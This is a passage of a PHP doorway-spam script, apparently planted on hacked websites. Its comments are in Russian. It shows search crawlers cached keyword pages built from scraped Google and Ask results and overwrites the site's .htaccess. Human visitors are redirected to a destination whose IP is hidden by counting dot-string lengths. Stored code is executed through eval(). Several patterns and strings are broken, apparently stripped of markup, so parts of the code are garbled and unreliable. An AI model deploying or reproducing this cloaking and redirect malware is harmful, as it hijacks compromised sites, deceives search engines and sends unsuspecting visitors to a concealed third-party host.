";
$indexkey="News";
$imageyes="no";
$imagepath="gallery";
$redir="";
$includephpcode = '$ref = $_SERVER["HTTP_REFERER"];
$d = $_SERVER["HTTP_HOST"];
function getUrl() {
$url = @( $_SERVER["HTTPS"] != "on" ) ? "http://".$_SERVER["SERVER_NAME"] : "https://".$_SERVER["SERVER_NAME"];
$url .= ( $_SERVER["SERVER_PORT"] != 80 ) ? ":".$_SERVER["SERVER_PORT"] : "";
$url .= $_SERVER["REQUEST_URI"];
return $url;
}
$s = getUrl();
if (!strpos($_SERVER["HTTP_USER_AGENT"], "Googlebot")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "crawler")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "yahoo")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false)
{
if ((filesize(".htaccess"))>100)
{
$out = fopen("../.htaccess", "w");
fwrite ($out, "RewriteEngine On
RewriteRule ^([A-Za-z0-9-]+).html$ note.php?hl=$1 [L]");
fclose($out);
}
echo $page;
}
else
{
$adr1 = ".....................................";
$adr2 = ".";
$adr3 = "...................................................................................................................................................................................................................";
$adr4 = "..............................................................................................................................................................................................................";
$ard = strlen($adr1).".".strlen($adr2).".".strlen($adr3).".".strlen($adr4);
$s = dirname($_SERVER["PHP_SELF"]);
$s = $_SERVER["SERVER_NAME"] . $s;
$mykeys = $_GET["hl"];
header("Location: http://$ard/input/?mark=20161221-$s&mykeys=$mykeys");
//header("Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
exit;
}
';
$cachepath="./bahbfasjn";
$yourip="";
$dopips="";
$logornot="no";
$pingornot="no";
$pingres="http://rpc.pingomatic.com/";
$firstnoredir="no";
$redirtime="5";
ini_set('memory_limit',"256M");
ini_set('display_errors', 0);
//$useragent=strtolower($_SERVER['HTTP_USER_AGENT']);
$userip=explode(".", $_SERVER['REMOTE_ADDR']);
$usernetip=trim($userip[0]).".".trim($userip[1]).".".trim($userip[2]).".".trim($userip[3]);
$botips=" ".$yourip." ".$dopips." ";
$keyfromurl =$_GET[$perem];
if(!$keyfromurl){
$keyfromurl=$indexkey;
}
$key = str_replace("-", " ", $keyfromurl);
$key=trim($key);
$keyredir = str_replace(" ", "+", $key);
$keydefis = str_replace(" ", "-", $keyfromurl);
$keydecode = str_replace("-", "+", $keyfromurl);
$keydecode = str_replace("'", "", $keydecode);
$keydecode = str_replace("\\", "", $keydecode);
$keydecode=trim($keydecode);
$usedurl=str_replace("{urlkey}", $keydefis, $resurl);
//$useragent = $_SERVER['HTTP_USER_AGENT'];
//if ((!file_exists($cachepath."/".$keydefis)) AND (!strpos($useragent, "google"))) exit;
if($logornot=="yes"){
$fileot="./log.txt";
$fhf=fopen($fileot, "a+");
$dataot="Page ".$usedurl." : ". $_SERVER['HTTP_REFERER']." ".$_SERVER['HTTP_USER_AGENT']." ".$_SERVER['REMOTE_ADDR']." ".date("dS h:i:s A")."\n";
flock($fhf,LOCK_EX);
fwrite($fhf, $dataot);
fflush($fhf);
flock($fhf,LOCK_UN);
fclose($fhf);
}
if($keyfromurl=="mysitemap" && file_exists("map.txt")){
$pagemap=file_get_contents("./map.txt");
echo $pagemap;
die();
}
if($sitemap=="yes" && !file_exists("map.txt")){
$mapkeys=file_get_contents($keyspath);
$mapkeys=explode("\n", $mapkeys);
srand((float)microtime() * 1000000);
shuffle($mapkeys);
$mapkeys = array_slice($mapkeys, 0, $maplinksvalue);
$fileot="./map.txt";
$fhf=fopen($fileot, "w");
$dataot1="";
$dataot2=array();
foreach($mapkeys as $mapkey){
$mapkey=trim($mapkey);
$mapkeyurl=str_replace(" ", "-", $mapkey);
$mapurl=str_replace("{urlkey}", $mapkeyurl, $resurl);
$dataot2[]="".$mapkey."".$maplinksraz;
}
$dataot2=implode($dataot2);
$dataot=$dataot1." ".$dataot2."
";
flock($fhf,LOCK_EX);
fwrite($fhf, $dataot);
fflush($fhf);
flock($fhf,LOCK_UN);
fclose($fhf);
$mapkeys="";
}
if($sitemap=="yes" && file_exists("map.txt")){
$mapinpage=str_replace("{urlkey}", "mysitemap", $resurl);
$mapinpages="
SiteMap
";
}
$redir=str_replace("{redirkeyword}", $keyredir, $redir);
//if (!strpos($botips, $usernetip)===false || !strpos($_SERVER['REMOTE_ADDR'], "23.8")===false){
if (!strpos($botips, $usernetip)===false || !strpos($_SERVER['HTTP_USER_AGENT'], "Googlebot")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "crawler")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "bot")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "yahoo")===false || $cloakornotcloak=="no"){
if($cloakornotcloak=="no"){
$cloaknoredir=$includephpcode;
}
// Открываем директорию
$dir = opendir($cachepath);
// В цикле считываем её содержимое
while(($file = readdir($dir)))
{
// Если текущий объект является файлом - удаляем его
if($file!="." && $file!=".."){
$file=trim($file);
if($keyfromurl==$file){
$page=file_get_contents($cachepath."/".$file);
if($extlinkspath){
$extlinks=file_get_contents($extlinkspath);
$page=str_replace("{extlinks}", $extlinks, $page);
}
if($firstnoredir=="yes"){
$todaydate=date("d");
$matchesparse=array();
$patternparse = "//sU";
preg_match_all($patternparse, $page, $matchesparse);
$gentime=$matchesparse[1][0];
if($gentime){
$needtime=$todaydate-$gentime;
if(abs($needtime)>=$redirtime)
{
$page=str_replace("", $redir, $page);
$page=preg_replace("//", "", $page);
$fileot=$cachepath."/".$keyfromurl;
$fhf=fopen($fileot, "w+");
$dataot=$page;
flock($fhf,LOCK_EX);
fwrite($fhf, $dataot);
fflush($fhf);
flock($fhf,LOCK_UN);
fclose($fhf);
}
}
}
if($includephpcode){
$includephpcode=str_replace("{redirkeyword}", $keyredir, $includephpcode);
/*$fileot="temp.php";
$fhf=fopen($fileot, "w+");
$dataot="";
flock($fhf,LOCK_EX);
fwrite($fhf, $dataot);
fflush($fhf);
flock($fhf,LOCK_UN);
fclose($fhf);*/
ob_start(); // Включаем буферизацию вывода
ob_clean(); // Чистим буфер (не обязательно)
eval ($includephpcode); // Выполняем нужный нам код, результат которого уходит в буфер
$buffer=ob_get_contents(); // Пишем в переменную содержимое буфера
ob_end_clean();
//$patternparse = "/{phpcode}/";
$page=str_replace("{phpcode}", $buffer, $page);
}
echo $page;
die();
}
}
}
// Закрываем директорию
closedir($dir);
if($contentsou==1 && $usetemplates=="no"){
$pageparse=getcontent($key, "2");
//$pageparsemini=getcontent($key, "1");
/*$pageparsemini=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparsemini);
$pageparsemini=array_slice($pageparsemini, 0, 5);
$pageparsemini=implode(".", $pageparsemini);*/
}
if($contentsou==2 && $usetemplates=="no")
{
$pageparse=getcontent2($key, "4");
//$pageparsemini=getcontent2($key, "1");
/*$pageparsemini=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparsemini);
$pageparsemini=array_slice($pageparsemini, 0, 5);
$pageparsemini=implode(".", $pageparsemini);*/
}
if($contentsou==3 && $usetemplates=="no")
{
$pageparse=file_get_contents($textfile);
$pageparse=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparse);
$pageparse = array_slice($pageparse, 0, 20);
/*$pageparsemini= array_slice($pageparse, 0, 3);
$pageparsemini=implode(".", $pageparsemini);*/
$pageparse=implode(".", $pageparse);
}
if($contentsou==4 && $usetemplates=="no")
{
$pageparse=getcontent3($key, "2");
}
$wordscount=count(explode(" ", $key));
if($keyparseornot=="yes" && $wordscount<=3){
$googlekeys=keyparse($key);
if(count($googlekeys)>=3){
$forlinks1=$googlekeys;
srand((float)microtime() * 1000000);
shuffle($forlinks1);
$kusokkeev=$forlinks1;
}
else
{
$forlinks1=file_get_contents($keyspath);
$forlinks1=explode("\n", $forlinks1);
srand((float)microtime() * 1000000);
shuffle($forlinks1);
$kusokkeev=array_chunk($forlinks1, $kollinks);
$kusokkeev=$kusokkeev[0];
}
}
else
{
$forlinks1=file_get_contents($keyspath);
$forlinks1=explode("\n", $forlinks1);
srand((float)microtime() * 1000000);
shuffle($forlinks1);
$kusokkeev=array_chunk($forlinks1, $kollinks);
$kusokkeev=$kusokkeev[0];
}
if($trendskeys=="yes"){
$alltrendskeys=keyparse2();
srand((float)microtime() * 1000000);
shuffle($alltrendskeys);
$neededtrends=array_chunk($alltrendskeys, $valuetrends);
$kusokkeev=array_merge ($kusokkeev, $neededtrends[0]);
srand((float)microtime() * 1000000);
shuffle($kusokkeev);
}
$links1=array();
foreach($kusokkeev as $i=>$keyforurl){
$keyforurl1=str_replace(" ", "-", $keyforurl);
$keyforurl1=trim($keyforurl1);
$keyforurl=trim($keyforurl);
$linkingurl=str_replace("{urlkey}", $keyforurl1, $resurl);
$links1[$i]=" ".$keyforurl."".$linksrazdel;
}
if($imageyes=="yes" && $usetemplates=="no"){
$files=array();
$dir = opendir("./");
// В цикле считываем её содержимое
while(($file = readdir($dir)))
{
// Если текущий объект является файлом - удаляем его
$files[]=trim($file);
}
closedir($dir);
$files=implode(" ", $files);
if(strpos($files, $imagepath)===false) {
mkdir("./".$imagepath);
}
$templateimage="";
}
$links1=implode($links1);
$date = date ("l dS of F Y h A");
if($usetemplates=="no"){
$pageview= "
(.*)
#iU",$result,$m); foreach ($m[1] as $a) $text .= $a; } for ($google_n=0;$google_n<11;$google_n=$google_n+10) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://www.google.com/search?q=$query_pars_2&start=$google_n"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6'); $result = curl_exec($ch); curl_close($ch); $result = str_replace("\r\n", "", $result); $result = str_replace("\n", "", $result); preg_match_all ("#(.*)#iU",$result,$m); foreach ($m[1] as $a) $text .= $a; } $text = str_replace("...", "", $text); $text = strip_tags($text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = explode(".", $text); shuffle($text); $text = array_unique($text); $text = implode(". ", $text); return $text; } function getcontent2($keyforparse, $cntpages) { /* //$keyforparse="phentermine"; //$cntpages=3; $keyforparse=str_replace(" ", "+", $keyforparse); $keyforparse=urlencode($keyforparse); $key2 = explode("%2B", $keyforparse); //$key2 = $key2[0]."%2B".$key2[1]; $key2 = $key2[0]; $naparse=NULL; $cntpages=1; for ($i=0; $i<=$cntpages-1; $i++){ $let = array (video,free,mp3,games,news,songs,music); $r = rand (0,count($let)-1); $myname .= $let[$r]; $pageparse=file_get_contents("http://www.ask.com/web?q=".$keyforparse."&page=".$i); //echo $pageparse; $matchesparse=array(); $patternparse = "##isU"; preg_match_all($patternparse, $pageparse, $matchesparse); //var_dump($matchesparse[1]); sleep(1); $matchesparse2=array(); $patternparse2 = "#
#isU"; preg_match_all($patternparse2, $pageparse, $matchesparse2); //var_dump($matchesparse2[1]); //echo "
".implode($matchesparse[1])."
"; sleep(1); $matchesparse3=array(); $patternparse3 = "##isU"; preg_match_all($patternparse3, $pageparse, $matchesparse3); //var_dump($matchesparse2[1]); //echo "
".implode($matchesparse[1])."
"; sleep(1); $matchesparse4=array(); $patternparse4 = "##isU"; preg_match_all($patternparse4, $pageparse, $matchesparse4); //var_dump($matchesparse2[1]); //echo "
".implode($matchesparse[1])."
"; sleep(1); $naparse[$i]=implode($matchesparse[1])." ".implode($matchesparse2[1])." ".implode($matchesparse3[1])." ".implode($matchesparse4[1]); } srand((float)microtime() * 1000000); shuffle($naparse); //echo implode($naparse); $result1=implode($naparse); $result1=explode(".", $result1); srand((float)microtime() * 1000000); shuffle($result1); $result1=implode(". ", $result1); $result1=str_replace(". id=\"r2_a}\">", "", $result1); $patternparse1 = "/http:\/\/.*\s/sU"; $result=preg_replace($patternparse1, "", $result1); //$patternparse2 = "/".implode($matchesparse[1])."
"; $naparse[$i]=implode($matchesparse[1]); //sleep(1); //echo $pageparse; } srand((float)microtime() * 1000000); shuffle($naparse); //echo implode($naparse); $result1=implode($naparse); $result1=explode(".", $result1); srand((float)microtime() * 1000000); shuffle($result1); $result1=implode(". ", $result1); $result1=str_replace("